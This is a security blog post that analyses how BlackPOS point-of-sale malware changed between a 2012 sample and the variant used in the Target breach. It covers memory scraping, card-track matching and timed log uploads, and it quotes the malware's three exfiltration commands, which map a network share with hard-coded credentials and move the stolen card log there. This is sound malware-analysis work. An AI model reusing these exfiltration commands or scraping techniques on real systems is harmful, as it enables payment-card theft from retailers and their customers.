An evolution of BlackPOS malware

Brian Krebs has recently been blogging about Target stores in the US being breached by  Point of Sale (POS) malware. The malware is called BlackPOS and has been in the wild for some time. According to McAfee’s threat advisory, BlackPOS has been available in underground markets and forums since at least early 2013. One of the samples we saw actually dates back to mid-2012.

 

The basic technique used in BlackPOS malware is dead simple. But, we thought it might be interesting to look at how this malware has evolved over time. We chose an early sample of the malware from 2012 and compared that to the sample used in Target attack. We compared a sample with a SHA1 value of 1df323c48c8ce95a80d1e3b9c368c7d7eaf395fc (old binary) to a sample with a SHA1 value of 8a6af8587adf0e743871ad6b9889428b5f75b86b (new binary).

 

The following table lists the basic features of each binary:

 

SHA1

1df323c48c8ce95a80d1e3b9c368c7d7eaf395fc

8a6af8587adf0e743871ad6b9889428b5f75b86b

MD5

7f9cdc380eeed16eaab3e48d59f271aa

ce0296e2d77ec3bb112e270fc260f274

First submission on VirusTotal

2012-07-30 23:06:49 UTC

2014-01-20 12:00:35 UTC

Link Date

7:47 PM 11/3/2011

12:08 AM 11/29/2013

File Size

248.0 KB

264.0 KB

Application Type

32 bit console application

32bit Windows service

Table 1 Basic Comparison of Binaries

 

Overall Control Flow

At first glance, even though the overall code structure remains similar, there are some notable changes. Before looking into the details of each, let’s check out the overall function control flows.  Figure 1 and Figure 2 show simplified versions of control flow for the old and new binaries. The overall structure looks very similar. Most function names were labeled during our research process.

 

 

Picture1.png

Figure 1 Control Flow of Old Binary

 

The old binary starts with the main function and it goes through multiple levels of functions to scan and extract each process’s memory. This is a very straightforward and simple code structure.

 

 

 Picture2.png

Figure 2 Control Flow of New Binary

 

The new binary added a few more functions with the main function being different from that of the old binary. While the old binary was intended to be delivered as an executable by malware and used as a command line, this new binary is intended to be used as a service.

 

Running as a service

The create_and_start_service function actually contains code to register the binary itself as a Windows service. When the service registration is successful, you see an entry from the services list similar to that shown in Figure 3 below. After registering it, the create_and_start_service function starts the service and exits.

 

 Picture3.png

Figure 3 POSWDS service entry

 

Scanning Process Memory

When the binary is started as a service, the scan_processes function runs as it is registered as a service callback. The functionality of scan_processes from the newbinary is the same as the main function from the old binary. Both functions go through processes in the system and call scan_process on each one. While the old binary opens and scans all processes on the system, the new binary thinks only one specific binary is interesting. The logic to determine this is inside scan_process. Why the difference? It looks like the new binary is more targeted to specific kinds of POS systems. The old binary’s main function returns with a single scan, while scan_processes scans processes and writes logs in an infinite loop.

Actual process memory is read from the scan_memory_chunk function. Each chunk of memory read by the malware is 10,000,000 bytes.

 

 Picture4.png

Figure 4 ReadProcessMemory is used for reading process memory (scan_memory_chunk function)

 

Extracting Card Track Information

After ReadProcessMemory is called from the scan_memory_chunk function, the memory content is scanned from the extract_track_info function. This function is one of the most modified functions when comparing the new binary to the old binary. The function uses a more custom pattern matcher internally to recognize track data scattered in memory. The old logic looks simpler, but the new logic involves more complicated variables and logic. We can surmise that this new logic might be fixing issues with recognizing track information in memory with the old logic.

 

 Picture5.png

Figure 5 extract_track_info control flow graph comparison (left: old binary, right: new binary)

 

Figure 6 shows part of the custom credit card track information pattern matching logic. Basically, it counts numbers up to a specific count and matches some special characters that designate track information.

 

Picture6.png

Figure 6 Part of custom credit card track information matching routine

 

This custom logic approach is a little bit odd considering other POS malware usually use regular expressions to gather credit card information from memory. For example, Figure 7 shows the routine from vSkimmer malware that reads process memory and extracts track information from it. On address 00407552, the instruction loads a string with a regular expression pattern that can be used to match credit card track information from memory. But, there might be a performance benefit from using custom logic over using regular expressions.

 

 Picture7.png

Figure 7 vSkimmer credit card track extraction routine

 

One more additional feature in the new binary is duplicate record checking. The new binary runs as a service and is supposed to run for an extended period of time. It appears that there might be a strong chance of collecting the same information again and again from the process memory. So, the author actually wrote custom-made logic in the code utilizing a binary tree algorithm. The code almost looks like an example from a text book. Anyway, the addition of this functionality might tell us that they were expecting the malware to gather huge amounts of data.

 

 Picture8.png

Figure 8 Duplicate record check routine using binary tree

 

Uploading Log

One notable difference between the old and new binaries is that scan_processes from the new binary  creates a thread with the upload_log_file_routine function. Figure 9 shows the main part of this function. The role of this function is calling the upload_log_file function every 7 hours. There are additional time checks and the upload_log_file is only called during the 7 hour period between 10 AM and 5 PM local time. One loop takes 7 hours of sleep which means that it only uploads logs at most once a day during the period of 10 AM to 5 PM. The reason why they chose normal working hours for their log upload time frame might be because they wanted to hide their traffic inside normal busy day traffic.

 

 Picture9.png

Figure 9 upload_log_file_routine main routines

 

Figure 10 shows the main part of the upload_log_file function. It connects to a specific UNC path and copies out a log file to a shared folder. Of note, it uses system POSIX API. This looks more like UNIX-style coding and maybe we can relate this to the programming background of the author. Overall the code is written with a minimal set of Windows-specific APIs and more with POSIX APIs. This might tell us that the author doesn’t have a lot of experience with Windows API programming.

 

 Picture10.png

Figure 10 upload_log_file function

 

The following 3 commands are launched through system calls.

"net use S: \\10.116.240.31\c$\WINDOWS\twain_32 /user:ttcopscli3acs\Best1_user BackupU$r"

"move C:\WINDOWS\system32\winxml.dll S:\USER-0FED8A2D7E_27_1_10.txt"

"net use S: /del"

 

Conclusion

Based on our observations, we can see that the techniques used by the Target malware are not overly sophisticated or technically challenging. We can even see that the code might not be written by someone with a great deal of Windows programming skill. We also know that while the original version was more of a general memory scraping tool, the new variant is more specialized for a specific environment, based on the hard-coded commands and the specific time frame for when the malware sent out its collected data. The author also made some improvements to the code over time to include duplicate record checking and custom logic enhancements. However, regardless of the lack of sophistication – it still worked and many customers’ credit card details were compromised. The success of this compromise and the evolution of this malware suggest that this won’t be the last we see of BlackPOS. So next time you’re out shopping, maybe take some cash.

Comments
Slava Gomzin(anon) | ‎02-04-2014 07:43 AM

Interesting and helpful article. Thank you! 

Matt_Oh | ‎02-20-2014 07:56 PM

Thanks Slava!

Leave a Comment

We encourage you to share your comments on this post. Comments are moderated and will be reviewed
and posted as promptly as possible during regular business hours

To ensure your comment is published, be sure to follow the Community Guidelines.

Be sure to enter a unique name. You can't reuse a name that's already in use.
Be sure to enter a unique email address. You can't reuse an email address that's already in use.
Type the characters you see in the picture above.Type the words you hear.
Search
Showing results for 
Search instead for 
Do you mean 
About the Author
Twitter: @ohjeongwook .
Featured


Follow Us
The opinions expressed above are the personal opinions of the authors, not of HP. By using this site, you accept the Terms of Use and Rules of Participation.